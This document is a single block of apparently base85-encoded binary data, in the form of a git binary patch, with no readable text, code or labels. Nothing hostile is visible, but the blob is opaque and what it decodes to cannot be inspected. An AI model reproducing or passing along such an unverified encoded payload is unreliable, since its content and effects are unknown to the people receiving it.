zoG#b3U59)fU)XAXR^@W#bwkUhdm0Eg7SF8S;C5~9xZC-{QEw+$r8O@jV5k(kU_vCn zUG+wfB|oB6touTxe;I98ZN1yE4ENOJOLDyCkK|sSQc?9mPwfv~4F!TymWO0HUR%Fo zz8F23fMcy%@*ue`kY#e|wqlJuTVF3Og=ZTcA}1Ctk*IYwY&clzunKDzM{MM`Dv0!( z|9#b%LSXQwp7I2Toz%%}Hg2);P9U<}CKW9N+8% ztfhT`$Arqol9E`sBP88X|HNCObxl#(;7^=027k9jl6su^5xb>qDfA2`Djin1#>i%N z5DM_@b>dR+MzuYgAH{K7QDMaXZ2pn!uG=UIg18ZBTRui{!_3X5&@{=LdWvp>u3(LQ0aTLzlRP{e^c>Di$E+{Db#%+xct$gy)>CVD$-0ow`3Zz8Mo~p(!W>=Dh&+;N>=mi(eK#0tD{#>{0=;@LhtKa^y_+`i0 z(=`u&SG0DgY+omrou@5-{IO{DdwY;4Qyvz_hTF`6@^g4nR%AuffrR9VJYv5D)UDfTNxp?!c|5y4iLPX?`3R<``L zU+P(P?@Wi44CrXjsu_{PMa!h=MG*;JF{h}DoEpmVrx!&f36aaFAe3z**Ms)TvZZ&_ zyWI8lB*#G1CDm0BwbeFkR4U!@+isu*7gH@~@TL~|pknU4uWzpX*7CRaG`uj&Qn0e( zHgWwc`@U(Jzd-!{+S0PZbsukXHst?uUn%`tUHgq2UTJyzmn2~P4||Ii0tV0Mt4Ss^ z6dOTE9d>RxEcZr=-&OU+c_kJ{Ih^U9seU^8jPr>VVm{K>)!FT0eloeG zafML4QBIWQflD--9qHNFl)8u+z(&g7?N7yeW)*#ZX>;J)wW}!zN@^A?5ZAA;mHbL9 zKi>K6RliywT4UZn7q6}qt*xz{f!^j&iYczHdt}qjYrFnm=ks^1n`XbgdiKFni?6qx z?&^irq*SUeND^J8`dz7CP&6q_rhSiZNPY-?fQldv%qgN7L?K3xZAH5_AHZ5q&Fjm> zfo~Hq*j5!rg|!6{a6K&{V7P;TK_JJ%eXLhD9*e-eO7afm*<h2`(bdGP z?9g7EGjw)#c7V@^&Gt3N3%#AEi*6>(tM&hc9W&7%U0@G{@tSTW2N=W2pCq|s{f_)_AUQ%_s;9P01UoZYFXGw z$an6T(VwW?dVlpsjF!w>k!;#A1HkabX=lM;V!Aj;66;1ETDK5urOtiJKt`c3nppKh zRG3vp&hYt>5;9F96C(+-kJHXP>F6KHJ+PUNfG28+MLd!qN9kK{f2(REJg;teI=c32 zkBD}A)i#ve@CBMm+in>!c%SlI#0<06KDct$A07YlO~MSbW>sA~_lCdL&VB1^MeA06 zt?1hI*Z;??P3sCaISa~Pd2GS29=K(?^Oj#c@cJ(S2(Ju#lTr2=VCXD_*-_9ir%6|t zGqANFSUr;CFEkR$?=tA>5&;7t`ky$LMxOyg^e#hxuhG6hY?tHox*Ia)64T_0_C;vf zX9kc+fiAP&-o8Vdz=QPKUANN&db$6jIXm5sUxwgb!~Oo#->r8wTvHr8K8H;5rgevW z9lbYM9(23i&wswg;&LsnUjFIV>c#Tv*|EMY@7?X3(G`oelArVP4FF=fk|f`Yl?um3 ztl2Du(fAV92PpSIQhY|jvTfD(qcv;Ek0=)^s;sXSy@8dQxf0SAz9Dbgxwrm@;!=`G zlV7A)OG36`m1#QNttBeS?|e;J*RG14u7*6h!f~rWo+oMebz+xb*(_B!U3>GT{wcSb zM8U9#_8^}Zv(}Qobi<6dHq{g?Uw+@Fog`u2*z)FgcNQ$4UjILq-@Ml4TKCI0r|)#R ze^&9U2e!Sp^Yvde+|mNnF#JtCPhF;;fzFP$U$g!100Z4jFbESw<=-_FekD}p8^+ck zNeYh$r480KcUzHV%3JVc(A<6DYgx`d5IA%KuXOZ`+M3&KkmF#~M3ffrhD zuP^q|;htDmd#uxD3v_gMeL={gySMxJX>$@ zH?F)K!_*Q+NC9i;x>k?jSweuB*DqKea=CX}r9`RA{bbd$&&fHAB+f_sD@X$UZ{nHA z8glNuMY2DeCqa>4mVA6J&KV%dje$MM!C13Dw?-O z>S!nHNv-%xy0(nivNG%#Ba}Q@`~i$^b89h-c43qx|LNAEC9C?7XL~`EZc3xfACzvo zv2#6aPLtQt@(pm!#;{in{utq5WgJs*2im(Rbkx{dk{QJ+l?|J3Ex9+*;zWZ9< zeC5`;EpOg^-`tj#x88nd?kg?(2>@=s`95;=J@k!c z60PMT!`VxQe6v5*oNA7RQhh$J51RJL8y80#QlIDGi%QRpoJFg&vK zi@7;qPQkE`Z79HhoVCEpB%viakOv;4dnh`!`=a&k zn30@7dVgWWu9qMtQBn>lpGL&^@pk2Vd$2&V)1HL}+SoXFC0^VI- zGJopx1qoNcJ&G6)^K_2I&cPrj%t4F5{9gY@P!#6%zZ^;hV*XIf*GY~@`9eORoZe+n zLT98Unax5y18P!?v^F`bR@B*EJ%)2V(vz&RNH=KvI9&}=*_v9~0ZB`9CEKXPZ0k}T z-bts!eMBo=r()Hr_c7na19|^k!UuQnzmHt+zq@7sJuP?dC(Ll){=46q+j0+q19`Y* z|E+WHxf?*RpCJK^c+xM2f9EIA=j9CEbU8)~B+%Ypkl45Is<8m`e)9oZctIEXpeRp; zk)dG&PJjh%23i8U5QFKuWtpmYvy-7VCOgonUMRxo>^$2FLz+-SYXCeo$si}Ac^4FK z2TqX-(D(9D?`3G}j}fNu`Om@NC*U~?rm}v&zd06Y1|!PTZ$F>8qoQHei}X(kV4&XG$aL6dYpH08Rd5fV zCi%c^^MaWB&OP^#(S7sWcUk}oZ`|GTZp%A!2@||SFmlgaa=`xkZoTzxats^>FxU^r zrC$#BQj5GJt|oa181?}Mz@H(wheXR&Z@Ot3C2iBiQ=?TDtZs=xLnDYlW8eLANoE+^ zw$D&{#Ae1WHowlhbK%#BPh521RXjTRzYN2>FD(_5T69Bj|K*}(#5*ItB6v{`^aTlY z3t+&@z|iz}fx$dCvJD`DhVXDlPn>qP8sj*R8A3PU9Dw1(i4#Hi$G@`jL>> zgbN88#yoy`!55Fo7V3rEPQgG|ldh5((o-Pqq}}pd6hNUQ5c-$86<>wJ2}^$TB#Ix# zP_`!|48jv?4s(W}$Lk;SdD+D~s5~ZFc!C#9#~3pN|6XPwU?9_^{0LOgBx<3Q`}f}~ z9&kF{Wxqd2H6J9wa@zx9bj&y2GR$BuRr^!kv5i#d{4Xz$$rT=d%9CAYfSotHWv|=4 zSg==ZlklT;_6pGoji5cWnbA>hw>Xxf9Pcxb|7nm&j8Cw-gEri$79sxB+u}*_{2gc>JpPXOyP1L7bQs{Z z5RXGG5-g&E)GoBJ%Lo>tdY&2 zzBLFV%(`-c0zh-ylpkizKRRnx91}l8&I~-pj~Pr!dZaTjgvm|t|71C}$6#7W(6CD_ zn5ab$9LdaBv+oi zfNz;}Bk;HybIrV=xN z6*xlqU2VN>9qsLYPkVc~x3}$RTX$Rg(dMIM+;_LP!86@$9)Ej#TSut5jU4KKxvjnX ze}oO5Gw_&V%wQP#k&d=*GX6W-$gmF+By_YUw)Z9-`?I8 zCdWqdQT8QdI5Y4VPiBC{q5Q7yUUKsPvaPqhx4W&kyQ8C*+$8XL+27hlz|hgr-4;r9 zcfVI>C6Bguk^AjkV*v)v3_Qk<8CV5(UZlPEbkB)-uDyNT$5M)fVdN8tCY4Z_j7)yqp<$Oc7>ak=Nes@45SdXj^VvuK?(0QsSLZoG5!SBWu6*iM!KT~h6GyX)?^28+p~bXFQLt85p|HEc;H~a%(7fWA)r0i&ks-x9jfxvAD8p z+3G)tE3LiXuKEASJ?odZG|v1n^|ZfsVBkm|&OR78Gw{eRGhC%V12**hW98N*wcjtd zesE*)^DykKAJzQ$$KrbHUAO-q0Kt+iKYl@6+5P3Vx|#G@Yq!<9^tmyxY~akmWBix_ zz<^W&hJkPY(DD7112+A-%;~VAsiXnk6FaOx> zZYU6!Ti+#V^&{o$2fFfkryGxn%?u|9D6TGnRt-$Ru-;m}iM zBv@CH@o!x@^hF*jFDJ7ia=V-$1TM${T`?9^BpVn@k;q`W)gMP9k$$)l9b`fPOa%Z_)c|-3GgSa=WE~5f z8F*xq8DdRW#|)TlLdQW925TDiZ^MXsK{F*WwiAJ=m>yhe8VJjTG14&NTB|%JFf(jF zL9np<%9#QD&|%QWWg`s+P@9z1p&dEe7@F1^W?-P}u?X`{Hy#t38N2|7t6&Bg@w%d5 z44SGixV51XPV)(RNsrU0>u1Iamx|1AX5cY#nc>`3G6S6qDT4SV2(23?u z;DFBaa~Kn|2F?sTvd9d<(Q^hw$GWVn``AGCS)!H9|5c0yq51mxtw<(xz)Krv(cN)M9 zRxR$VZzvG#;wQG6zt*~3dBzy55pibVF&@mY-P<%mIR+VLyIYt9y&)%l>TL#V~)g`fk#%Eq4?ZLV0h8+1h<|u!Jz!~uSknmi0i@5 zu)col5%ET_Ku_2fZ|lcw$rN#B;4#T_h7om>_875iTFkr{at04lHi-k3MMtIg!ym2? zKLIc(2RCm^dw8PpfCFa+9$C#9M$k>#6Py-I@1-fqmX8S}DjWksZJzZ0hSeX|-B@CI z@Q70CuxjSk!nlBeGXsyDFvEdZW`xV~mIEY>UQ#unRP3y8$deC>U)n7Xy4~*HHk`IC z91k>bX5f*GkDI^8YU1(m#1RT;ReTNOigYP;yDA4DbEa^;aE^vYmSHRI3u0)F{r~Jz;gy3 zQ<)huXwYDNRWq0eI-vzJH!^e;@`YhNKYX8o$5hW5GP5K@%XBDc7+`_5^Qw}@V+)!y z1CQ)6!{wZN5K>{>t5k3p(LDunTL+CvEJN0yvJ!69Z1RC)G>!6yMu`L{LnV2(ifHQ( zJr=PhAkGXtCKfY{w9nu9ZEbXefy!ZEEF>g}t}P+xhyHER(@{xX zQu~wI!l0>-NAgYDPnycpM~|6K$3BmWux=oUfYNePW5NA zKO04`=f9K77T1IH#)bwz#3`O_wthLG**>kBm4BD?Qa$L)umaWp=CC0@fbFbqZX6vE zJJj~%b(B;zJGo1<80|ZvjxXn{>)`uVzd!Npl4K)7l@gtZkS&jCT$q>ly%FFQANJ~j8OX={`z2j`fbti5{u8amv%4Q#AT(y_!&n}R-K^Kl=ia0b0c zC2jIG2Zo|Da}cSk%Ukl7`IUJ$MSn-)-`^lYeX%@iZbaoF?eziV4@OVChMQfk0s-T3|itwE; zBP5?XS%p&n&mjEkb6l{7%dsh69KM-vviAMf)o+~P-&B$+64^?Xai=^)LLdG4{>|}$ zk@b+CoT{YR$y>6QsrlK8e>!ROb6HY~5n+Qe9c4i$JHPlMR#rV z3Zt#hNX~cL-bM={)ntd^#;PY?=&D5WQ7^YJ=63QVDnDz|nZ6>N$Ft%H3uO);`BL?K zlk%Bm2}`WVQ(~E@ms0rDIE>tZS7|kZ8x7nXXMojC!nL8S(kO;0H`5J33lCG+=EeV> z^?s--Vosflv4wN&D>U0EYfG!ky<>6-e?mIDC_PWSw^Y8)g6o9``01@M2!g`RvT0XP z%`pvn#HPzdEbwLL)BNDKtQ(#nd% z8CNg%v5&}Dcu))}KORA=UX&D8py_xugU*E;X~*Sk7?cGqeqf7!Xo(|i4z#dD>qWYP zRRMGnzS+(TErXKyS1W=@V4WtId8-7K)4`L_Gkx};%YyW}-@v4}nVx(Ed|mmJhJf2- z{!^{YdC}BgW=}>&FhGJrgq(tqEj*czqJl#m{NERWLx(Qmb)*T>lR16q=@lF(PR)Rv z&NO?$1Ac{g+$&t)(g%r-WM-p?SDD~@Ld&_?M_np#bH=E2jglIf7;odyewvi7jI ztO#-xWs-tc0fi7jN~`Qmnen2@CtJUGGNa`yj#=f6!u^c*J{{rZ? zrS>~7VRz&}>$6j@Lv6$wyPLs&`F90wbkqR>hs}7`!p+rLfarkm(BLP!`m~nCQ$z9Y z3R5o6bj3Ai6K^i_Xx^e!2ZynvD9V=KopE zhwzWhsc+^xORxzG=2GE+0cIT;br^$ueHC`1x}{taE6#_PvN83>rHt?8kh@M$5JM47 zPTXo|tk4nB8e^OsQi3V^*J|{7O6$!tKmsY5kTCTwMJ%~wF~L2mH?AUMaqSzzHJk4- zfu|cs!ClHn^xv_JujGdkiNOiGLs)-Upb1^`t zTF*p8o`z}A6S$v1b|3zOYD3_a@Wru$;PD6FjEFF-Na<%R%H_JOvQLy}hZ7wv8JbAM zyD36_CweUf1P9RjZdiCR5k+)%%EhcJROo0+e|jr4N2&B-n_(KrAe@ayP=avP4+70J z5@-@FiC%TEIbx>Gsq!;Qj@beh$|TEtVBv;uocd`nT^I)Kg?YAo^*$!-1v=Vr^$;o; ziEuL@t*U4fmN;^Hm`iIBtq6fL_&suvCV6_ z6Z|K}&)FVNp;itl!weZ|FnLUEC+t$^GY-^n4VWdRB_V0W{!PkzWC$QEXyPaQ^cWrQ zxnmXg+*lnIbn8pgBU`JgN`G&1NfnD{Vhal+DB!$A<0Dg2Zut~)G6|5@g5|*Rfs9oT zOUWsx93yRqhtnyLT)x?57>9Dro$oi0068^5Ud=~u7ttHWtH|GzV*kZ}bb_QDu<9cs?dA8cXCnH+0C# z20@~(-j$6Sm1;F=?O{=P&6)0s)>)7NiY6bcx&0aM*Vfh3^V8+mQG27$ zhY159&9pqyKx$+Nfv^f!&@(X$A;^E@Rx^QCtp{Y#0PRh;JX)1DD}uuUN2f?OdxsEIG;R z=1W;4-Ju2Cgr6=O1!;8O3P)+g{-h!p2n)Sz#^PvEd)60*bp4}a(ksi*d6QD^LTz7g zDjS-Qp5P!C(m99;Lggt((Wnp}sK=ZS0x$Sx1}864fQ4}q7-%lD{{W=2L!@QeL~%b* z;>fm8#u4%=aprl_L)BxOO+qB-W|5{C2-w!_fyJZ8iZreW7yRu02X)Qb}WKxd$GIHHX4dbLO>)~@Gib}Vw z5Sye!4v$GNcgcNZC*NFhN~^DSZuNQ!~&`q{L5TG89#u}PmB;J*Ge(81k!(|f5vZAksG`x#RZwEK)NoFLGtn&)ms zQ%Ru@sl9$Sl;%hiUk2Aoz9_`J&fb1;zfwXe^oidW zs!71HIoMDt6NcPM>mG8VAw01#a@-YtFG~jn?_HjK^q0F)`S(S#x}hvF#9X2IJro_N zivFis(wt@c^V0!^cyfx_A}5|DCq*x&Xonx_e(A7k-$yY@tu3+MS9&4lnj91&lu3}{ z_RV7SFrv4Ea!kVuXMu{0$kC&5y`Hw7uv37egUH|kE8_aD2`nEA|z?UZo zJ~`H&e+Y_&kvaKeY%dbzGP<+Z;55tik`(Mlayb- z5U84iLFeLlc+p_5FWXmW>w$*Uy4Y&vq5=}=80|C`6|tRCoHfQPhdC@NZhRub(6O=A zLa(}lG}dk4dNn}ZR-xgxK8L}?(L7KaIB@YNH5KIsRRpy}rWLNZ!~k-E9Bk~UiX75z zq#bJ}<7_akmULA;)DopRz%~I7ku3P1)~33aH^4J>S(R;A1RC;QX?^VA1eG=IM8KYh!UI_&zMp5ouphqmht@_Xnuwg9g4(N@-~ri6JRG{ zoK=7LzMin2>8zH`exz`K0~O@2d9omj`5(rlM3xGjVjo7zQ-%d1ER>PkG8$lgjjRyg zunEfhqBsYV z7P^!a$V`iJy^~7ssR4`W-A`pPjTk`&;dHxSr?071fXMFFR8CT)2^S@N@ba2Nc+al= zmJX?eF2W<1p(0CWO`m>SMwn%@e@iYIHm6DWHX<@Ih1u0UtpWO6Qdh~7FzRNM#)5{Q zOcSChbQAPC`B$RB>`W>DUJ?>k_ybv!=gH2*7oiG5$7w0ABtpXZ}X2Aw+WVcCgtPW$KSfVng^4v=h`BZGAfEU zf)nK*CPfW`Id_~a4aHZZ;G>~`XhLLw4YK`6aleY>!g z^#*DUu5b)<>BnwOeY^nudySXDt&PPss>vke2H~$(xA`T=o-?|UJLJFZpsvyRG`H>7 z==1$2Tlu$p!Lz-@$^Q%#k1ZU4D0R~58((;_?{#GR+VMWuDKd3(*YHFVLs`Je#VXa& zaJaGxw(@|MOc?P(0@Hm|gu|yP%F?fp%oC)!7<0{cAwbj$#=@-rX3F3g7P33oDv8gy zcA6!Sn?_9Y>cT+*)OyX1^NJk%9HL?(omWVo2gFLDeOp*Kvmm;(9|kZnUS*~EF+aW2 za~Y0{xcv`RvFS%Zw@?4QB{~wZz8wKK>rBGa5n!q*f;a(0`+&-+>%=xIa!>IH!fhh+ zH*ky{BWA{>ICQ;*@IjKuPsBsir0e<6iLJ-}y?EcbYPWw4mC^!UR>mfnY3dBdrObiD zJ*%DmRV#Edrrt?kWd0f}WOQPi-Vwt75UW7!`9f$)v@itFR5v&%6>{WbIGWpo*@d-< z{oja&!KqjRR8_-j1)*#nU`~|Gs>7^_cHp~e<~D^EC{WmF1xMCH0Ro?P>hx2zoAGO; z&R33s;f~b$bhX|ct9UWOR``KhOXx-B%Y{<}Dk^po=eEeX_JeH*gvPN+<@fEITmJ~Y zVM*I2qTE+ABg+;W!a^p50pV2;G;5Hxdu}CR=7@$gAZh$@MC5%ZlaH;>LoGg1;YuUM>XCQb^<&LgLU&gYd=SGbl0^K|I3!>^4mfK3oDfj zmk3GS7-F4Ts9F1x>3!$QxLs2-NTa5o9~4n{N{DOZI3qvLg#0lP%kUB*#u>U?&%nOd z;v&UMlF}=GRInh^3;B1deJ3d=fIw%)P$Z`~t){F}aa%hH`p++m1&QRyIcYHaxf}j9 zH@PNuN?e$l)nSVabzTzr`z2YN+9OGOO4#=z>%-RSlJ?%!wmRQzuaCB^AiqFY`W%}9B|$& zRQ^8jg)3Ei5Ns3MWl~IiZ4(Lznh1^KLi;bj1V`Y$lEP!o(%Z)grf^aj*laW!$op-h zCCGm3A)K-w>?yNd;MT`ROBaMLm&RQ|%Y1b%h7FkG4&cGw!m_?Z=LaweGy-qu+?R-4 z?f4T>gDV~7sr(O;Qw@WX9ss8R8L~ciw>x%)x5S(RcKUc949n0Lx3Hl&b{!Eq9(}LO%@Xiu`{19X3PKOeKDCoGBur8k*GghO1 zd(1@wH~`_%Av{27zJtsPz8rzf>^d$CpvO%)_}PSK3iA%yuhYeet!Klh;&2;WH}-=> z$xm+#dy(FILqBCAr>nxo;8o_8R8!>?^c~bmB&^XXTl|_*O`M^&E+R2jjR-ZdR!_a5 zlu^306tvgn2S5=@7n@TPDqJ~UTxk0XJrRU8))ATLEMECE8M`cVCx1!nmuqgdAT2yG zd!LyEox;5%_LLR#kO;rC0Aw=N%@R?RruFtoxvfiDheQsMNS5qZ`*$d5zj+8=!(f$` zogHyyRl@;dBBb)LbpzI@2D%~eY5wr*;*`N!mKT|u_K5vwWE9nXmpl$_d7 zIaoe&$X?+CSF}XLv4kQL38ns)?CoP)5t+ySf^O&#Ckq9X_oey)?gc3P_0^~s+j?xn zuM)sUnXm;^cbf3L1^yMk4`KWqd8iqNW*Kwe@qFPyWLVI-EoF1}w$Ler#L(55<6vx9 zP%;T{qPmmkvxn9S38q=kR|`BD^;@dL|A<23wGGmca2{2#B(TsvQSfg9w%{1&p*|^| zDsVY7XZlZW{3z#_Gq0IH8EMh$?C^p z9G5+)5V~O4M1E5~_d~;Z!IV}rn!uJOxjj5nBqxs)1~4+H~olKF9Lb*5Dw*YCvAdo=eCZrdrZAmD zrlLNNoSWzc=F)U;#9PAXk-yLw73_}fid5UJt zyGMR;WQ-}3AG=K4McG!E2ADXp|r)4Mj$YSDlO9n^Bk+T}+c7oA_L{vFr>@ z&}@3$%;#~nH$NX7qJkryZb@}|L7{rls>*A%$%ps=|5xe(xFMl6L`(_D6R2W*W8ET~ zjVTU~t{1I~KtZ2zZ(2IB(DX!lm;u0os#9nreRR1IW%~Zv%lDY(p=>BTV2INgO?j(Hzm|)Jd!U z$KNsEA7E3W=&}4+;EIWV$$FX;uTSnNPmD!Dp<|b&K}ezRg_Jax4d6Sz^PDwja30NUl`W)n z9>dY0jyXE>qKIPN0~sQaAVm(UmLXf{T>XtEry8{DG_nC+V+(QR-e;DzO$#k;MJCF6!G#p> zg_0Ax&Y91X^RDppLqGl6VzljEaa-JdQGL#$e4I$RR0X1oheExU3Oq%r8!SmE=$rn)h1Mka+vbkWNIk^KJD4A%q!4@bwKtW@zP>S z>rqISg5&ILnT2k%J3G}YaIiDU*(H26qte0-ey-rdgp(yeh6O*A(|e;shmRdG<0*f{ zYc-6*oVs7q)w^%iK4@6xh>rwEK}g2EuH)%*i++`)4o-F zazBS-FBzeQG2}4_OBw1cTBPM>72J!AJHAu{T~q79G*pOwV#p`494QxckgLhFUxJOrs^M! zfn&|9pTKAxM`;>f9B-40q()c8=|RG`(RLnW{4fNenJT_Qua$t4(&S*31M2XDWC?8nt7OJ+!!n?I{B*hb(o;Nz-^FnWn)b|ndi zdMhl|NRA5KmL93ZLtv^OY)uB@qx?J{%LLg_26oN;CfMMH(e}dj#5@v(9EKLS5R_V%{1 z6ps5N(YD&NgUY3rD$(EJ@CV+vlKf@*&Q(l1rxygs*o0BA-V{AB?qYwq^Ud3To%w&! zhGsOQ^;fy^mmDrw?u^~+|DL^^Jfigu>^Ze8>Njr@!)1!vcQqAh9~5Jjtwc>oBH{ox z3y^1E=%B*{cXlM%yz)G`k0(g=`P96I3CHd^rmWx=XP(Xtm1rMuTYOC(UXj1QzaRQz1EGeSqOLzl4l#d~8G)n|I&BLyDYUZ`RzMXaiKo z#tiXMDK5WX{=fWQy$Sl_{PdNv5ouhic!s>l2_xL_`zCkDW~U~yhiW|XS92)R)00Tp zDiPUG0`X@c2>a`AYJLvVRG^HWBb=_Gn2rwd^^Yp`5 zjG;YTZ(Hp^=>@D~C|8iZ(R)Rt4`sJm3Uc;<{%n>6q2W145Uc1o=n@<@#txuGN>LF# zMXep%Pzsh!V$qsj@FY_W_v5-e5C2kMMIDKZs3iq2O+jESa8X!7jt2Fdo-SSH6}uKa z@$zCikw+2T^sv)I$w%B&2;q9@4*z~us8}iqwEjR`?nNED(KExRtqx#x^jZm~#Hqs6 zaC=YYaO6AxIp_da-u%ee4=sb0Kr6D|q}dp={j9&?@DOH6aV?n`3$*hWQmNvcAEYeG zC;(J7>OZoqSHkjjRF-hjgt$OM6y}~Yw2c6pym{+=y-^-WuJaEb<8o{-k|zbS@nH~s z%%1KIsq|(SYT|dJh+w2Gdm}bA@WBBNS6V6d6!^=!7p34~5%J!H`27N`DIUqZX&eG$ zfG_ADzCUPZ_Bm}YQd0g@VTXs*7IIaU|x&rNOGcQ)=X6wX6IFenJbQ8hJnT8U4F+H0xr zjSLhpEJ37$H9&~5Z-i>(r4OZ?`@pIr&e%8#;5c4&=7G?7)EEHXqO#IM=tUtm!)Z^z(MtgvPDxTDfvI(LiT($fv8R-K2A6S_>C+Z;Cxow$*PQDdzBZsVRA zC}338at8cpAU*W@=B`>4+~+)!()&POqY$fIBMR)rOue!Cyx)RH^wU_`qg(sYI-b4I zAk#ntsgO`{AF6CNnwmQ}O}P@F;#OG@4U>!0(q}(137QqWsYq{%#u0A2q?aD?%kj^#nMOm@=c#EJYRbp|%mZb%Dgf55e>2GJMaja}I1Ii_{CoiT% zo%wj4_t%WVV1!=?kP;CX(+aSN2m;MwEqfRXMi@I(L0DdqjYNrUVP`V|4V?5D58PRCr7> zf?wb%htI#+JR3v<{`-9#0<1lh%9Wn{)Zpx`f%Jli^zg9!^PMAjUK zcF0>A6XQ44aZ4jTGWQO6t?XNSV75q$y%<>V{jkqDoH=(+;1??7J^jv3xM2%IY|qm* zM!zU$IUK?5iCj;iF}Q4)_+KpshP>DV4^;wP6qM(jU&PldqKQk191t;aqQWk-cJvsq zxak@EX`{U;WEvBoePT*Zsi86-*Ow&`y{H-2r3Hb+qh`i#NGOX2+yx@Br<}1z^s-BM zi2omt#1gdAiSx{AyaY`kaYYS+Liz7fO%p1O)9V!QK_M?wd0F>PwrX%_m?ii6attAX z0*Ii)7Bt%@7zZvZefeI{735hf{Pj?syX1{Sr7YJ~w8jT?(!Y%n$TH;H?(7IeBf1j@ z&Y0fLK8qrI`9q`?T@lrQ7hR?yN}+tb<-crkjtxdK)-Qhm(<^Hu?G#YGWAs{=v&yDI z0R%ocp~8YtLUkdk3=$^P<`_VEe$pKE^jDvqEwGRMw-__~x!p5vqYu||ft8$_W`doja6p~icVYbZ8U2!2hlGof()U3OWd-)>2 zR4GCtU)l$;^pO?AH3%Uf$;znAVgC9RVN39FANG+@MJIRl#$rot#=i50Ahi=NEX9lU#*h7X3Ut;lQ< z&RdYcgdKrU%WwYdAcxPt*S4({ZU5;RZq}!hrnS_$J?!YZjlIW}5g%_awHGgdxWi4ZMHu%0Zth;vHh~v9Hk0C>=WisXxd89UXhM{xUy4z9b z=+}j>E=!MB%R!r^h|)<>AaW!PJn{e4>k?zbOPIiP>HH%a)4A>2cF?f%NWv*V@K1?= zSS&X8zO8x^)!1E8&;9oNOp13+sTZoHqet0Ln|(pufLkQBh_lXfIFs1p3JSXJBFJw@ zO_z7+{P;6ci|JtxV(WVe*(DLAU6=&AhNa^d)*YJ-qD@a9o*CsoFaED&5em7+D97Ai zL!%U`h&rU>PQ2v`?yMh>R5c0iv{PudozK<$8bG=}W5^V_NHuslXjVC=L;kcSaVu*J zEL&=M-rpM5J0>o%iFbGk9ZD>)Lj`iqFD?#GCPn^-K1J-<~H+ z4M$c$a@^R&^DYO59<}T&(Y@B<9b{<`{8c044uw2_JOzwoy`KEuq!NV?17-QA{}vfpE1fDYn75|%z-s1Hr|4lV3v zVI|(;8EFV7{srJm0jQkcw>UDZ#E#@#=ga9aPCer`b#@&!JMe5iW?q`Boz@uMnloo0 ze#B8xL>l?ch(`{UwfQ14x8)R46vaPKX|Miao^7Lf+ucyXqdw<;$|{mw#%xUPuyGb% zD3^bw%nX&9Q#aTXQcE;CQ^9vo_>O{vUPdPB(dv%bUdlGm`4;{wZ;c$X?6k$7zdlqo zlP2(fLL;_{F!XJ$s?vKVCzwNTSlOoXWB#euPniYuIHcWW7;_B+?y(ViQ(~Vybjdg^ zMEh>mkYOF@fP&!|G-qL|K!4g35X{w~iF(-hmzJqZW!YBX6GHbQqF@5%fE{7Ope(ye z%4NiOrT_;K9NG+&tzm*aOOj=1%5SSv=@H_TLd$}hHSNfbFlnp>5kjiTP>3< z`0w9**(-|pR4F+{G%FO!=-MoLApk>vekG9$LHsMMgo7tIxTfz4vqC3x*sV*yBiDo* zIxv}I7MP}yViwr4zsvLCuk>NfJ$?25LhuI&b=hr_*N942^V`99s?DNz9}AH{0~K7C zj7|_WKiF41R_8?z_eF z5;9ZgKey#_LGs0(kDXpjaUg41mTb2csiKdrpFcpO9Ci%w7(9IDKMSu3w_8)uZj^l_ zre3M)7zlB*so7*S`gO6G2t`_FRIodvtthG(ddNopyT8Qu;Gg>-W)WqO>j>>t9HzFI znfr<*H8dL_$^5l{>`aK;=yKjqs%@Ar!L1J&pHASN;044$xmXGlR~OgzR6mOXmNqG{ za34S1fkEC#k0y>|wEu;-sO9um-zI7)sg6?=k<)rs*zeT=OJZX5BSEXTptm2kiN|^a z3de65Q#02@>llhzL{1uvS|k56n|B0U2B60r zcX0QP5uSSWokYi}hP)3P;0#biKqx5@Ue(CW6l+%~CZ`+8KTzsjI4e1oD9Di@V%T6_ z_nqcupAOdT&bVN+NUIq}>+xZovgbR1C5K94JbCIwx}UTt!PQJgROD1TXZw)1bucn5o|RbIBibmOsFXRI)^Np`SZ7Res0 z2|-L0lbFi3*_U%vttcy>?dDU!qx;1=3i87}nk?hR7id2FF% zSGOPMj@^Bvq->}tkl`dAR46Oj4+HmuAiC}+$})fcPv-A|Q31rfHT#Slwk%G{pPR9< zIH3P{Yv`a+@XtwCvBQ;^^jGs9&(M%&^a(%-SD)rnE1ivnKKw^)q=tv+6`iPLn#*D# z&7B28mx0Oad+B@>4RRE~=qz@Gkf<}*&nAR+ujhq&3gv(FF<;?I;Lij-*%)GSBtQwk z)h48BzDF7F|8wSm1^WqC+C?((00QEs%7A0g?#}x}&Ba67>OX(-C&2`{h44%y#e@ux zsV*aavf)weY2A>j+fRt#sqgGq{d=QzXDQ*w?3)XA9$-^%iAy+@l)ViF-429p6)dI% z()etccFT>qMnmOXAO0zWfe&|-Bj6K3dW4cDlZNWwBuMQB+(9S<3wV409&!5`&XJju z%ebe!3$~PzUn|nH;;_Y@Sg-dyqy}bcvd?f;HZ)_Xuwz^L-sw6R#fr5LH`AO8xfz{! z?3erqMv8U&8g6mcVzSI15RU*?Z!=nPN;rl*Fec!|)ly~)_R5`4}(% zZi-zX90U~0?VaK2(9Ve@D(|{^tW|inzhJ3X>_&FSK=Pe9M+Ji%3@=VZ-r;9P&0%4C zDKm5k!(VMI_fhX{O_jY`i*~8PvnoG}KLIHWJ15tEV7cx~Y^@}P<4n97){&DBtXaZ> zH^RgIy#&IqrZdT{%BaUJeZsnSU-u$ei>Ck)!hq&sZDL6CU5>wH=+4eW=8z`c8T~mX z+S7v1V%xaQWoV(j+CYo9@Etnp>#7#vZRUh>ov!#h+5BGfx9sx}?7#OLd;@DClQ~aH z{?XEoR}R<)_GGfZG@D&kS$mr3fQLmPJY)fFdrf+oXtL}*vR_;=u{J#q>2|nTCwPRb~Xym0H|d^ zj(T$Ter{ooF+mD+;j1~ic%Vtkw0TSjdE**FKzCLiU*{aL^XD7yB*Su2`P6#1%0J|T;R7_)`7RLVM@f{nO+{}^v^)&h*3ir! z6-;AGNzLBP3;#XFQ$g>Wzz1A2)u50+0XButr+AP$VID!}7Y7a$==Ad4zsb&xBWP)* zixwu~3^B(__!}ts+Od~l7==6WLITpXEAgtft%NOZVX#eX|w2b@18=TIn^?hyAipf7%n5ONEJMfc%+7WU#ux4=j`Z#r3j%vaO> zmj|Ui|0@0*z4qZlcXv1c-#KIRR#GN8;RT5J@ArxUy}UySB)KKSn}e2>Hk}xq!<2DV z*i;&{u|U)1p51XQ?Sb7D=;wUkP+%p#l&enF?24Gs3#wNAc?StkM#0l67@a{&rpLdh z_oNWh*Cp5xkLCdk>|PX;>D#xQWZ~}av8bqUw>>RBRJoA&9>baor{49z%ROxYlJnNq 